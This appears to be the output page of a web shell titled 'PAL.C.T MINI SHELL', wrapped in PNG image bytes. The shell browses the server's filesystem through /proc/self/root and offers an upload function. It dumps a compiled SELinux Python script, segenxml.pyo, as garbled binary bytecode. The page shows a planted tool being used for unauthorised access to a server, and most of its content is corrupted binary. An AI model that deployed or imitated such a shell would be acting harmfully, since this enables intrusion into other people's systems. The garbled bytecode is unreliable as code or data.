php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/selinux/devel/include/support/
upload
files >> //proc/self/root/usr/share/selinux/devel/include/support/segenxml.pyo

Tc@sdZddkZddkZddkZddkZddkZeZdZdZ	hZ
gZgZgZ
gZdZeidZeidZeidZd	Zd
ZdZdZd
ZdZdZeZeZeZeZeeidjoeei dny5eieidddddddg\Z!Z"Wn*ei#j
oeei dnXxe!D]\Z$Z%e$d%jo
e&Zqe$d&joeei dqe$d'joe%ZPqe$d(joe%ZPqe$d)joe%ZPqeei dqWeoei'i(een]eoei'i(eed#n9eoei'i(eed$neei ddS(*sY
	This script generates XML documentation information for layers specified
	by the user.
iNtmetadatasthird-partyts!^\s*(interface|template)\(`(\w*)'s8^\s*gen_(tunable|bool)\(\s*(\w*)\s*,\s*(true|false)\s*\)s^##\s+(.*?)\s*$c	CsRtii|}tii|}d||f}d||f}y)t|d}|i}|iWntd|gSXg}|idtii	tii
|dd|fg}d}	t}
x'|o|di
o|d}qWd}x|D]}|d7}|
oyti|}
|
o!|i|
idd	qq|o7t}
ti|}	|	p||7}g}qqqn|i
oqnti|}
|
o!|i|
idd	qn|	pti|}	n|	o|	i}|id
|d|d|f|o||7}g}ntd|d|df|id|id
|id|id|id|id|id|id|id|	idd}	qqqW|
o||7}n|otd|n|t|d}|id|S(sH
	Returns the XML data for a module in a list, one line per list item.
	s%s/%s.tes%s/%s.iftrs&cannot open file %s for read, skippings!<module name="%s" filename="%s">
iiis
s<%s name="%s" lineno="%s">
sunable to find XML for %s %s()s
<summary>
sSummary is missing!
s</summary>
s<param name="?">
s$Parameter descriptions are missing!
s	</param>
s</%s>
s(orphan XML comments at bottom of file %stboths
</module>
N(tostpathtdirnametbasenametopent	readlinestclosetwarningtappendtsplitexttsplittNonetTruetisspacetXML_COMMENTtmatchtgrouptFalset	INTERFACEtgroupst
getTunableXML(t	file_namet
module_dirtmodule_namet	module_tet	module_iftmodule_filetmodule_codet
module_bufttemp_buft	interfacetfinding_headertline_numtlinetcommentR((s4/usr/share/selinux/devel/include/support/segenxml.pytgetModuleXMLFs	.


"










cCsy)t|d}|i}|iWntd|gSXg}g}x|D]}ti|}|o!|i|iddqUnti|}|o|djo;|id|jo!t	d|id|fqn|id|i
||7}g}|id|idqUqUWt|otd	|nttd
joyt
ii|dd}	yCttd|	d
}
x|D]}|
i|qW|
iWqtd|	qXn|S(sD
	Return all the XML for the tunables/bools in the file specified.
	Rs&cannot open file %s for read, skippingis
Rs%s in a %s file.s<%s name="%s" dftval="%s">
s</%s>
s(orphan XML comments at bottom of file %sis.xmlt/tws*cannot write to file %s, skipping creation(RR	R
RRRRRtBOOLEANterrorRtlent
output_dirRRRtwrite(Rtkindttunable_filettunable_codettunable_bufR!R%R&tbooleantxmlfiletxml_outfilettunable_line((s4/usr/share/selinux/devel/include/support/segenxml.pyRsJ
%
"
cCsOg}y-t|d}||i7}|iWntd|nX|S(s-
	Return all the XML in the file specified.
	Rs.cannot open file %s for read, assuming no data(RR	R
R(RR2ttunable_xml((s4/usr/share/selinux/devel/include/support/segenxml.pytgetXMLFileContentsscCsg}|idx+tiD]}|t|t|7}q Wx!tD]}|t|d7}qHWxtD]}|t|7}qlWx!tD]}|t|d7}qWxt	D]}|t|7}qW|id|S(s_
	Return the compelete reference policy XML documentation through a list,
	one line per item.
	s	<policy>
ttunabletbools
</policy>
(
RtlayerstkeystgetLayerXMLt
tunable_filesRtxml_tunable_filesR8t
bool_filestxml_bool_files(t
policy_buftlayerR0t	bool_file((s4/usr/share/selinux/devel/include/support/segenxml.pytgetPolicyXMLs&


cCstiidtidtiiddddtiidtiidtidtiid	tidd
S(sB
	Displays a message describing the proper usage of this script.
	susage: %s [-w] [-mtb] <file>

is-w --warn			show warnings
s.-m --module <file>		name of module to process
s<-t --tunable <file>		name of global tunable file to process
s=-b --boolean <file>		name of global boolean file to process

s
examples:
s!> %s -w -m policy/modules/apache
s> %s -t policy/global_tunables
N(tsyststdoutR.targv(((s4/usr/share/selinux/devel/include/support/segenxml.pytusage4s	cCsBto7tiidtidtiid|dndS(s+
	Warns the user of a non-critical error.
	s%s: is	warning: s
N(twarnRFtstderrR.RH(tdescription((s4/usr/share/selinux/devel/include/support/segenxml.pyRCscCsQtiidtidtiid|dtiitiddS(s.
	Describes an error and exists the program.
	s%s: iserror: s
iN(RFRKR.RHtflushtexit(RL((s4/usr/share/selinux/devel/include/support/segenxml.pyR+Ls
iswhm:t:b:RJthelpsmodule=stunable=sboolean=is-ws--warns-hs--helpis-ms--modules-ts	--tunables-bs	--booleanR9R:(s-ws--warn(s-hs--help(s-ms--module(s-ts	--tunable(s-bs	--boolean()t__doc__RFRtglobtretgetoptRRJtmetatthird_partyR;R>R@R?RAR-tcompileRR*RR'RR8RERIRR+tmoduleR9R3R,RHRNtoptstargstGetoptErrortotaRRGt
writelines(((s4/usr/share/selinux/devel/include/support/segenxml.pyt<module>s|		{	A		!				5






y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`